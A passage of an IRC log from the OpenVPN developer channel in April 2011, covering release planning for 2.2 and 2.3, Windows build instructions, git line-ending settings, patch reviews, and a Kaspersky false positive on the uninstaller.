<@dazo> and based on the packet_id.[ch].rej stuff ... it tells me we need more patches which follows updates this code 14:45 <@dazo> as the version before r7125 have 5 arguments for packet_id_init() ... while beta2.2 have 3 arguments 14:45 <@mattock> http://pastebin.com/uz7R9iVC 14:45 < cron2> oh 14:46 <@mattock> any comments on --push-peer-info? 14:47 <@jamesyonan> the bug that is fixed by 7125 is that if you are using adaptive mode (where the client tries UDP and then falls back to TCP) the replay detection code is basically broken 14:47 <@jamesyonan> so 7125 is only needed if you use adaptive mode 14:47 < cron2> mattock: mmmh? 14:47 <@mattock> cron2: ^^^ uz7R9iVC 14:48 < cron2> ah 14:49 <@dazo> then I feel the r7125 can wait for 2.3, as we start the alpha/beta pretty soon after the 2.2 release ... I'm sorry I don't dare to push too much new code into the 2.2-RC2 ... and this seems to be an issue not too many users hit into 14:49 <@dazo> jamesyonan: do you agree to that? ^^ 14:50 <@mattock> regarding http://pastebin.com/uz7R9iVC ... I think the "openvpnserv.exe should exit when no openvpn.exe process are around" should go into 2.3 14:50 <@dazo> (after all, 2.2-RC2 seems to be pretty stable at the moment) 14:50 <@dazo> mattock: agreed 14:50 <@mattock> dazo: +1 14:50 <@mattock> I don't think we should poke 2.2 too much at this point 14:50 <@mattock> minimal, "safe" changes only 14:51 <@mattock> and aim for releasing 2.3 soon 14:51 <@mattock> by August or so? 14:51 <@jamesyonan> dazo: yes, I'm fine with that 14:51 <@dazo> goodie! 14:52 <@mattock> can anybody comment on Jason's "How about getting "--push-peer-info" finished off" comment? 14:52 <@dazo> mattock: I think we can have late September as a realistic goal for a final 2.3 release ... unless the IPv6 code is too much broken :-P 14:52 < cron2> heh 14:52 * cron2 has heard that 14:52 <@dazo> ;-) 14:53 <@mattock> well, the good thing is IPv4 addresses have then been long gone... so we might get somebody to test the code 14:53 <@jamesyonan> dazo: what is the point in 2.1 branch where you stopped merging changes into 2.2? 14:53 <@dazo> btw ... I'm running your openwrt release of openvpn on openwrt with IPv6 enabled ... and I route my IPv6 traffic through my router wherever I am without any issues :) 14:53 <@dazo> that's around Christmas ... I'll check the git log 14:54 <@dazo> jamesyonan: r6712 is the last SVN commit I merged into beta2.2 14:54 < cron2> cool :) 14:55 <@dazo> (version 2.1.3d) 14:56 <@dazo> cron2: now if OpenVPN would support a IPv6 only config inside the tunnel ... I could really test that feature well out, as my whole home network is fully IPv6 enabled 14:57 < cron2> dazo: it sort of does 14:57 <@dazo> (avoid "leaking" IPv4 traffic through the tunnel) 14:57 < cron2> dazo: config "--route-nopull" and "--route-ipv6 2000::/3" on the client side 14:57 <@mattock> dazo, cron2: any ideas how much money I would have to spend to get a IPv6-enabled 4-port switch? 14:58 < cron2> that way it will not add any IPv4 routes, and manually add an IPv6 default route 14:58 <@dazo> duh! I'll add that :) 14:58 <@mattock> the really cheap and crappy ones don't support IPv6, do they? 14:58 < cron2> mattock: a *switch* should not care 14:58 <@dazo> unless it's a managed switch probably? 14:58 < cron2> so a $10 5-port 10/100 switch will do IPv4 or IPv6 or IPX or Appletalk or Decnet just fine 14:58 <@mattock> cron2: ok, I'll check that 14:59 <@mattock> I got to IPv6-enable my home network, like dazo 14:59 <@dazo> mattock: or did you mean router? 14:59 < cron2> the $200 class is trickier - they tend to have "management capabilities" (which usually are IPv4-only), and sometimes they have "multicast optimizations!" which completely FAIL on anything that's not IPv4 14:59 * krzee is leaving early later fellas 14:59 <@dazo> mattock: setting up Hurricane Electric IPv6 tunnel on a OpenWRT based router, with radvd for stateless autoconfig is quite easy actually 15:00 <@mattock> well, it's a stupid little box I bought for 12€ :) 15:00 < cron2> a router-with-switch and IPv6 support is somewhat hard to get - there's a few models from D-Link and AVM, or (as dazo says) 15:00 <@mattock> I'll check what my box can do 15:00 < cron2> mattock: in that case, it's propably a pure l2-switch that has no idea what is inside the ethernet packets - and thus should happily do v6 15:01 < cron2> mmmh 15:01 <@mattock> yeah, probably 15:01 <@mattock> I hope so 15:01 < cron2> $wife declared "it's 22:01, $daughter will be up at 6:something, time to go to bed now" 15:01 < cron2> good night folks 15:01 <@mattock> cron2: +1 15:01 <@dazo> cron2: good night! 15:01 <@mattock> I think we're done 15:01 <@dazo> I think so too 15:02 <@dazo> mattock: the --push-peer-info stuff, that's v2.3 stuff anyway ... so lets wrap it here 15:02 <@mattock> dazo: fine with me 15:02 <@mattock> I'll write the summary tomorrow 15:02 <@dazo> thx a lot! 15:02 <@mattock> and start churning out patches :) 15:02 <@mattock> thanks everyone! 15:02 * dazo goes to write some patches :) 15:03 <@mattock> talk to you guys later! 15:04 <@dazo> mattock: quick question 15:04 <@mattock> shoot 15:04 <@dazo> if I want to try to build openvpn on the windows build box ... what to do? 15:04 <@dazo> (quick question, but maybe not quick answer :-P) 15:05 <@mattock> it's easy 15:05 <@mattock> cd c:\openvpn-build\<your-openvpn-sources> 15:05 <@mattock> cd win 15:05 <@mattock> python.exe build_all.py -u 15:05 <@mattock> that's all 15:06 <@mattock> launch that from a Visual Studio command prompt 15:06 <@dazo> perfect! I'll try to test compile my patch then 15:06 <@dazo> where do I find that command prompt? 15:06 <@mattock> use 2.2-RC2 or later source 15:06 <@mattock> on the desktop 15:06 <@dazo> okay 15:06 <@mattock> you can clean up with python.exe build.py clean 15:06 <@dazo> will do 15:07 <@mattock> if you need signed TAP-drivers you need to do some extra tricks 15:07 <@mattock> but unsigned will work fine with WinXP 15:07 <@mattock> dazo: do you need to generate the installer, too? 15:08 <@dazo> nope, just test compile ... and quickly test the binary ... you can have the installer fun ;-) 15:09 <@mattock> ok 15:09 <@mattock> in case you have to do that later, just run "MakeNSIS" (on desktop) and open win/openvpn.nsi 15:09 <@mattock> the installer will be in dist/openvpn-<version>-install.exe 15:17 <@dazo> thx! 15:37 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:40 -!- andj is now known as andj_afk 16:25 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 16:43 <@dazo> gah ... the build computer seems to have hung :( 17:37 -!- dazo is now known as dazo_afk --- Day changed Fri Apr 08 2011 00:23 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 00:39 -!- andj_afk is now known as andj 00:58 -!- dazo_afk is now known as dazo 00:59 <@dazo> mattock: I think the build computer crashed again :( 02:01 <@mattock> yeah, looks like it 02:02 <@mattock> it sure does not handle multiple rdesktop logins well 02:34 <@dazo> :( 02:45 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 02:49 <@mattock> dazo: I'll try to debug this with Andrew 02:49 <@mattock> the root of the problem, I mean 02:49 <@dazo> perfect! 02:55 <@vpnHelper> RSS Update - tickets: #113: Partially implemented --push-peer-info option <https://community.openvpn.net/openvpn/ticket/113> 02:57 <@mattock> dazo: did you manage to login at all? 02:58 <@dazo> nope ... it's "dead" for me, can't even ping the box (last time I tried, sometime this morning) 02:58 * dazo seriously need to get som breakfast now :-P 03:00 <@mattock> ok 03:03 <@dazo> I'm having home office this and next week ... starting the computer before breakfast is just simply silly :-P 03:22 <@mattock> dazo: my fiancee does that always... I have to feed her :P 03:22 <@mattock> I never do that myself 03:22 <@dazo> lol 03:24 <@dazo> If I'm not hungry when I first start doing things behind the computer, it can go up to 10 hours before I realise that I should have eaten at least 4-6 hours earlier .... today I was hungry when starting the computer, and I realised I really need to east 2 hours later :-P 03:53 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Ping timeout: 240 seconds] 04:01 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 04:16 -!- reiffert [~thomas@mail.reifferscheid.org] has joined #openvpn-devel 04:17 < reiffert> windows xp, openvpn 2.1.4 installer 04:17 < reiffert> doesnt install the tpa interface 04:18 < reiffert> If I try manually with the windows cmd I get: 04:18 < reiffert> tapinstall: Invalid use of install. 04:18 < reiffert> For more information type: tapinstall help install 04:18 < reiffert> I was calling it with 04:19 < reiffert> tapinstall install c:\programme\Openvpn\driver\OemWin2k.inf 04:19 < reiffert> it appears that this machine is xp sp 2 04:23 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Ping timeout: 252 seconds] 04:25 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 04:26 < reiffert> it works pretty well when I use the control center -> hardware -> add manually path 04:41 -!- reiffert [~thomas@mail.reifferscheid.org] has quit [Quit: leaving] 04:54 <@dazo> cron2: can you have look at the function here: http://www.fpaste.org/TGaw/ ... something which doesn't make sense to you? 04:57 <@dazo> cron2: wondering if this is a cleaner approach: http://www.fpaste.org/vFda/ 04:59 <@dazo> (the comments are quite a bit off ... except of that) 05:47 <@mattock> reiffert: didn't you have the "Kaspersky thinks OpenVPN is a rootkit" issue? 05:48 <@mattock> I'm trying to reproduce it without any luck 05:51 <@mattock> tried both "Kaspersky Anti-virus 2011" and "Kaspersky Internet Security 2011" 06:28 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 06:47 <@dazo> cron2: I concluded on my own :) tmp-dir patches sent to the ML ... http://thread.gmane.org/gmane.network.openvpn.devel/4561/focus=4576 06:47 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 09:30 <@mattock> dazo: for a practical use of Git in system administration look here: http://wiki.debian.org/MultipleSitePuppetmasterSetup 09:30 <@vpnHelper> Title: MultipleSitePuppetmasterSetup - Debian Wiki (at wiki.debian.org) 09:31 <@dazo> cool! 09:41 -!- dazo is now known as dazo_afk 10:41 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:28 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 11:28 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 11:28 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:28 -!- mode/#openvpn-devel [+v krzie] by ChanServ 12:32 <@vpnHelper> RSS Update - tickets: #114: documented option: --management-client <https://community.openvpn.net/openvpn/ticket/114> 12:34 -!- trispace [~rf@chello212017114137.18.11.vie.surfer.at] has joined #openvpn-devel 12:42 < trispace> I guess manpage fixes should be based on beta2.2 branch, right? 12:47 -!- psha [~psha@213.208.162.69] has quit [Ping timeout: 240 seconds] 12:48 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:22 <+ecrist> trispace: yes 13:23 <+ecrist> well, rather, whatever you're developing on 13:32 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 13:37 < trispace> ecrist: is it OK to attach a diff to the ticket for manpage fixes? or is a mail to the mailing list more apropriate? 13:38 < trispace> !git 13:38 <@vpnHelper> "git" is (#1) git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#2) Browse the git repository here: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=summary, or (#3) See !git-doc how to use git 13:38 < trispace> !git-doc 13:38 <@vpnHelper> "git-doc" is For a good git documentation, see http://progit.org/book/ 13:39 <+ecrist> trispace: feel free to attach a diff 13:43 < trispace> ecrist: thanks! I'll try to document some more - if you have some comments on my first try: https://community.openvpn.net/openvpn/ticket/114 feel free to contact me 13:43 <@vpnHelper> Title: #114 (documented option: --management-client) – OpenVPN Community (at community.openvpn.net) 13:45 <+ecrist> formatting looks good to me. 14:02 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:02 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:44 < trispace> I currently try to document the --remote-random-hostname in the manpage, would "Add a random string (6 characters) to first DNS label of hostname to prevent DNS caching. For example, foo.bar.gov would be modified to <random-chars>.foo.bar.gov." be clear enough? 14:44 < trispace> it's mainly stolen from the comments... 15:19 <@vpnHelper> RSS Update - tickets: #115: documented option: --remote-random-hostname <https://community.openvpn.net/openvpn/ticket/115> 15:34 -!- trispace [~rf@chello212017114137.18.11.vie.surfer.at] has quit [Quit: trispace] 15:41 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Changing host] 15:41 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 15:41 -!- mode/#openvpn-devel [+o cron2] by ChanServ 15:49 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 16:38 -!- dazo_afk is now known as dazo 16:41 <@dazo> ecrist: good answers to trispace! 17:39 -!- andj is now known as andj_afk 18:04 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 18:39 -!- dazo is now known as dazo_afk --- Day changed Sat Apr 09 2011 00:25 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 00:39 -!- andj_afk is now known as andj 00:42 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:46 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 03:37 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 03:38 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 04:39 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 09:16 <+ecrist> :D I'm good for something, at least. 09:57 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:57 -!- mode/#openvpn-devel [+v krzie] by ChanServ 10:50 -!- psha [~psha@213.208.162.69] has quit [Read error: No route to host] 10:51 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:54 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:54 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:53 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:07 -!- andj is now known as andj_afk 18:18 -!- d303k [~heiko@port-92-198-130-130.static.qsc.de] has quit [Ping timeout: 240 seconds] 18:24 -!- d303k [~heiko@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 18:24 -!- mode/#openvpn-devel [+o d303k] by ChanServ 23:07 -!- d303k [~heiko@port-92-198-130-130.static.qsc.de] has quit [Ping timeout: 258 seconds] 23:09 -!- d303k [~heiko@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 23:09 -!- mode/#openvpn-devel [+o d303k] by ChanServ --- Day changed Sun Apr 10 2011 00:30 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:16 -!- andj_afk is now known as andj 01:18 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 03:36 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 05:41 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 09:57 <@vpnHelper> RSS Update - tickets: #116: Very slow initialization and inactivity timeout with PKCS#11 <https://community.openvpn.net/openvpn/ticket/116> 11:08 -!- Netsplit *.net <-> *.split quits: +krzee, +krzie 11:10 -!- Netsplit over, joins: +krzie, +krzee 14:35 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:35 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:50 -!- andj is now known as andj_afk 16:00 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 16:01 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 16:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:46 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 20:59 <+krzee> Disable paging by calling the POSIX mlockall function. Requires that OpenVPN be initially run as root (though OpenVPN can subsequently downgrade its UID using the --user option). 20:59 <+krzee> thats in --mlock 20:59 <+krzee> doesnt OpenVPN need to be started as root EITHER WAY? 21:13 <+ecrist> no 21:15 <+krzee> umm ok 21:16 <+krzee> a no IP / no route vpn... which couldnt be using a bridge 21:16 <+krzee> so i guess maybe a no-ip tap setup? 21:22 <+ecrist> no 21:23 <+ecrist> you can provide non-root users permissions on devices and routingn tables 21:23 <+ecrist> though, it's not recommended 21:24 <+ecrist> dev.conf on freebsd, iirc 21:24 <+ecrist> devfs.conf and devfs.rules 21:25 <+krzee> oh cool 21:25 <+krzee> i didnt know the unix way, knew you could do so in windows 21:25 <+krzee> (network admins group or something) 21:25 <+ecrist> heh, you want to see REAL awesome stuff, couple devfs and carp for change notifications and actions 21:25 <+ecrist> that's pretty sweet 21:26 <+krzee> i know of carp, not sure what you mean by that tho 21:27 <+ecrist> so, you can use devfs to do things based on carp state, as an example. 21:27 <+ecrist> so, we have a pair of freebsd servers with HBAs that serve as heads for our SAN 21:27 <+ecrist> we use CARP for the NFS serving (along with DHCP, Samba, AFS, etc) 21:28 <+ecrist> if there's a carp failover, the slave box kills the primary with IPMI commands, and imports the ZFS file systems, and mounts them. 21:28 <+ecrist> to fail back over, we have to intervene, but that's by design. 21:29 <+krzee> clean! 21:30 <+ecrist> :) --- Day changed Mon Apr 11 2011 00:42 -!- andj_afk is now known as andj 00:58 -!- andj is now known as andj_afk 01:37 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:37 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:30 -!- dazo_afk is now known as dazo 05:25 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 05:35 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 06:52 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 06:52 -!- mattock1 [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:52 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:58 -!- dazo is now known as dazo_afk 07:01 -!- dazo_afk is now known as dazo 09:05 <@vpnHelper> RSS Update - tickets: #117: possible memory leak <https://community.openvpn.net/openvpn/ticket/117> 10:11 -!- andj_afk is now known as andj 10:52 -!- psha [~psha@213.208.162.69] has quit [Read error: No route to host] 10:52 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:14 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 13:45 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Ping timeout: 246 seconds] 13:47 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 13:59 -!- patelx [~patel@openvpn/corp/admin/patel] has quit [Quit: ircN 8.00 for mIRC (20100904) - www.ircN.org] 14:45 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:45 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:22 -!- dazo is now known as dazo_afk 15:42 -!- andj is now known as andj_afk 19:42 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Ping timeout: 258 seconds] --- Day changed Tue Apr 12 2011 00:24 -!- andj_afk is now known as andj 00:50 -!- andj is now known as andj_afk 01:41 -!- dazo_afk is now known as dazo 02:56 <@mattock1> cron2: there? 02:57 <@mattock1> in install-win32/settings.in you bumped version to 9.7 and TAP_RELDATE to "07/03/2010" 02:58 <@mattock1> in win/settings.in the date format is mm/dd/yyyy... is 07/03/2010 "3rd of July 2010"? 03:10 <+krzie> america's style would have that as march 7th 04:31 <@dazo> mattock1: we got a patch fixing the date from Peter Stuge once ... but I might have killed it in the merge to beta2.2, knowing we would change it anyhow 04:34 <@vpnHelper> RSS Update - tickets: #118: Missing reset of script_security variable in init.d script of Ubuntu package <https://community.openvpn.net/openvpn/ticket/118> 04:47 <@mattock1> krzie: exactly 04:48 <@mattock1> dazo: if we can live with the wrong PRODUCT_TAP_RELDATE then we don't have to sign the TAP-drivers again 04:49 <@dazo> I don't dare to answer that one ... cron2/james are those who can see the consequences here most clearly 04:49 <@mattock1> afaik, the release date only shows up in Windows "Driver properties" screen 04:49 <@mattock1> and has no impact on anything else 04:49 <@mattock1> the major and minor versions are the most important ones 04:50 <@mattock1> btw. I removed some Win2k notices from INSTALL and win/openvpn.nsi 04:50 <@mattock1> I'll mail a patch later today 04:50 <@mattock1> dazo: what's the status of --tmp-dir patch? 04:52 <@dazo> It's in progress ... I haven't had time to look too closely at a proposed fix from another Windows devel who turned up on the ML ... he got a good approach which I need to look closer at 05:20 <@mattock1> dazo: any take on the mixed windows/unix linefeeds in win/*.py? 05:21 <@mattock1> it seems that at least nano fixes them, resulting in lots of changes lines in git diff 05:21 <@dazo> hmm ... yeah, I've seen that ... I think we need to figure out how to make git tackle it 05:21 <@dazo> I've noticed git does give some warnings ... so that needs to be considered 05:21 <@mattock1> what about converting them all to unix linefeeds? 05:21 <@mattock1> or Windows 05:22 <@dazo> I think that's the cleanest way, pure NL ... and then make git enforce NL only when it commits the changes to the repo 05:22 <@mattock1> python.exe does not seem to have issues handling either type 05:22 <@mattock1> or even mixed ones 05:23 <@dazo> when the files are checked out on Windows, it may then change it to CR/LF ... and then changing it back to NL when committing 05:23 <@dazo> it's more that mixed case gives nasty merge conflicts later on 05:23 <@dazo> or can give, I mean 05:32 <@dazo> [OT] A little Chinglish .... http://www.flameradio.co.uk/bearsblog/wp-content/uploads/2011/03/genitl-eman-bad-english-chinglish-beijing-olympics2008b.jpg 05:32 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 05:33 <@mattock1> lol! 05:33 <@mattock1> I've seen worse, though... e.g. Chinese "english" menus 05:34 <@dazo> not sure I would drink this though, if it is to be drunken ... http://www.flameradio.co.uk/bearsblog/wp-content/uploads/2011/03/chinglish-signs-22-the-jews-ear-juice.jpg 05:34 <@dazo> yeah, Chinglish can pretty amusing sometimes :) 05:34 <@mattock1> hmm... interesting 05:34 <@mattock1> I wonder how they manage to "translate" that badly 05:35 <@mattock1> hmm, vi seems to choke on the mixed linefeeds 05:35 <@mattock1> and nano fixes them, which would result in ugly patches 05:36 <@mattock1> dazo: should I create a linefeed-fixing (=everything to LF) first? 05:36 <@dazo> Lets first dig into git, to see what that does or can do ... so that we don't fix it and re-fix it several times 05:37 <@mattock1> ok, I'll check it out 05:37 <@dazo> I begin to wonder if it really should not modify the CR/LF at all .... or else we need to do 'make dist-zip' on Windows 05:42 <@mattock1> I think the default Git behavior is the best: http://stackoverflow.com/questions/1967370/git-replacing-lf-with-crlf 05:42 <@vpnHelper> Title: git replacing LF with CRLF - Stack Overflow (at stackoverflow.com) 05:43 <@mattock1> so, git tries to maintain LF linefeeds but checkout (on Windows) changes them to CRLF 05:43 <@dazo> ahh, that's the case 05:44 <@mattock1> I think the CRLF linefeeds in win/*.py are there because SVN does not have this, and git has not converted them 05:44 <@mattock1> this feature, I mean 05:44 <@mattock1> slipped in, so to speak 05:45 <@dazo> exactly 05:45 <@dazo> let's turn of core.autocrlf 05:45 <@dazo> needs to document that though 05:47 <@mattock1> I think a separate LF patch is in order 05:47 <@dazo> agreed 05:47 <@dazo> that don't need to go via the mailing list though 05:48 <@mattock1> there's more on whitespace/linefeed issues here: http://progit.org/book/ch7-1.html 05:48 <@vpnHelper> Title: Pro Git - Pro Git 7.1 Customizing Git Git Configuration (at progit.org) 05:48 <@mattock1> yeah, trure 05:48 <@mattock1> true 05:49 <@mattock1> on *NIX we should use git config --global core.autocrlf input 05:54 <@dazo> there's also a core.safecrlf (man git-config) 05:56 <@mattock1> I converted win/* linefeeds to LF... I'll test what happens when I checkout the repo in Windows 05:56 <@dazo> core.autocrlf needs to be 'input' on *nix ... and probably true on Windows 05:57 <@mattock1> yes, I think that's the suggested best practice 05:57 <@dazo> yeah, I just had to wrap my head around it as well :) 05:57 <@mattock1> btw. I think we'll get a proper multiuser OS for Windows builds soonish... Win2008r2 server I think 05:58 <@dazo> cool! 05:58 <@mattock1> post-2.2 of course 05:58 <@mattock1> too much hassle to setup 05:58 <@dazo> yeah, lets not cripple the current build environment just yet 05:58 <@mattock1> :D 05:59 <@mattock1> speaking of the build computer... it's unresponsive again :P 05:59 <@dazo> :/ 06:02 <@mattock1> asked Andrew about Win2008 07:08 < Dark-Fx> You guys need a better build computer 07:11 <@mattock1> dark-fx: yep 07:11 <@mattock1> found the kaspersky issue 07:11 <@mattock1> it is triggered during openvpn _uninstall_ 07:11 <@mattock1> I'll create a bug report 07:15 <@vpnHelper> RSS Update - tickets: #119: Kaspersky thinks OpenVPN uninstaller is a rootkit <https://community.openvpn.net/openvpn/ticket/119> 07:18 <+ecrist> Dark-Fx: we'd accept hardware donations. 07:18 <+ecrist> ;) 07:18 < Dark-Fx> you guys shouldn't put rootkits in your uninstallers 07:19 < Dark-Fx> 'Oh, you want to uninstall our softwarez, huh? TAKE THAT' 07:19 * ecrist doesn't see the problem. 07:19 <+ecrist> heh 07:20 < Dark-Fx> Where is the build computer currently located? 07:20 <+ecrist> In a datacenter 07:20 < Dark-Fx> what country 07:20 <+ecrist> US 07:20 < Dark-Fx> hmm 07:21 <@mattock1> dark-fx: kaspersky is being too "proactive", it complains about au_.exe: http://forums.majorgeeks.com/showthread.php?p=1073843 07:21 <@mattock1> which is NSIS uninstaller stuff 07:21 <@mattock1> this is not related to openvpn only 07:22 < Dark-Fx> I could potentially offer up some hardware, but I'd need details on what you've currently got running 07:22 <@mattock1> http://forums.winamp.com/showthread.php?t=242930 07:23 <@mattock1> dark-fx: I've been talking with other guys @company about a Win2008 r2 server for builds 07:23 <+ecrist> mattock1: is the windows box available via RDP on the VPN? 07:23 <@mattock1> ecrist: yep 07:23 <@mattock1> lemme check the ip 07:23 <+ecrist> can you get me the creds, please? 07:24 <@mattock1> ecrist: I'll put them to forums in your homedir 07:24 <+ecrist> sweet, thanks. 07:25 <@mattock1> there, buildcomp-creds.txt 07:38 <+ecrist> mattock1: I cannot seem to connect to that machine 07:38 <@mattock1> yep, it's down probably 07:38 <+ecrist> the IP doesn't ping/I cannot connect with RDP 07:38 <+ecrist> oh, ok 10:23 -!- andj_afk is now known as andj 11:28 <@dazo> cron2: you around? 11:29 <@dazo> cron2: would you mind having a look at this one? http://www.fpaste.org/HTGS/ 12:01 <@cron2> dazo: uh, $soon 12:05 <@cron2> dazo: this code is not right - why have a pointer tmpdir there, if all it does is point to buf? besides that, no objections - a local static is not pretty, but saves malloc()ing around, and we need that storage somewhere "and windows systems have enough memory" 12:15 -!- dazo is now known as dazo_afk 12:15 <@cron2> scared him away, did I? 12:40 -!- dazo_afk is now known as dazo 12:41 <@dazo> cron2: hey! I lost my connection :( 12:43 <@dazo> the reason for the static buffer is to avoid malloc() and to be really clean, that should be freed afterwards in that case ... and considering this function should be only called once ... it makes the code simpler, as a free() would require the getenv() code parts in options.c to use strdup() as well 12:48 -!- trispace [~rf@chello212017114137.18.11.vie.surfer.at] has joined #openvpn-devel 12:51 <@cron2> yeah, I wasn't opposing the static buffer - it's better than most of the alternative approaches 13:00 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:00 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:25 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 13:25 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 14:50 -!- trispace [~rf@chello212017114137.18.11.vie.surfer.at] has quit [Quit: trispace] 16:47 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:53 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 16:53 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 16:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:05 -!- dazo is now known as dazo_afk 18:08 -!- dazo_afk is now known as dazo 18:16 -!- dazo is now known as dazo_afk --- Day changed Wed Apr 13 2011 00:27 -!- andj is now known as andj_afk 01:42 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 01:50 -!- s7r [~s7r@unaffiliated/s7r] has quit [Quit: Leaving.] 02:31 -!- dazo_afk is now known as dazo 03:54 <@mattock1> dazo: I got a Windows 2008 r2 server VM to replace old build computer 03:54 <@dazo> cool! 03:54 <@mattock1> I'll set today and tomorrow so that it can be used for 2.2 final 03:54 <@mattock1> also, gives me a chance to recheck my windows build instructions :) 03:55 <@mattock1> and to generate the "OpenVPN build dependencies" package 03:55 <@mattock1> it should also be easier to isolate users and build environments 04:12 <@dazo> that sounds good! I'm almost done with the --tmp-dir fix, just hoping for a quick response from the guy who proposed most of the fix - I tweaked it a little bit 04:12 <@dazo> I thought that guy was Dutch ... but now I see he's a Norwegian as well :-P 04:13 <@mattock1> lol :) 04:14 <@mattock1> btw you'll probably encounter this issue when connecting to the new build computer: https://sourceforge.net/tracker/index.php?func=detail&aid=2858665&group_id=24366&atid=381347 04:14 <@vpnHelper> Title: SourceForge.net: rdesktop: Detail: 2858665 - Black mouse pointer at Windows 2008 R2 (at sourceforge.net) 04:14 <@mattock1> looks a little silly, but seems harmless 04:16 <@dazo> Yeah, I've seen that one on exactly a Win2k8r2 box I need to log into from time to time 04:16 <+krzie> you're norwegian dazo? 04:16 <@dazo> I am :) 04:16 <+krzie> is .no huge or something? 04:16 <+krzie> i meet an disproportionate of very skilled people from .no 04:17 <+krzie> # of 04:17 <@mattock1> ~5 million people, right? 04:17 <@dazo> ~4.5mill inhabitants ... but the computer guys here are often known for being skilled and expensive :-P 04:17 <@mattock1> roughly the same as Finland 04:17 <+krzie> must have 1 hell of an underground out there 04:18 <@dazo> maybe somewhere between 4.5 and 5 now ... Oslo reached 600.000 some months ago 04:18 <@dazo> lol 04:18 <@dazo> that wouldn't surprise me ;-) 04:18 <+krzie> tech vikings ;] 04:18 <@dazo> heh :) 04:20 <@dazo> unfortunately, the parliament voted for a new law which _requires_ the ISPs, phone operators and other e-communication companies to log sender, receiver, timestamp and location for all the traffic ... and these logs shall be kept for 6 months .... 04:20 <+krzie> weak 04:20 <@dazo> yeah ... but annoying! 04:21 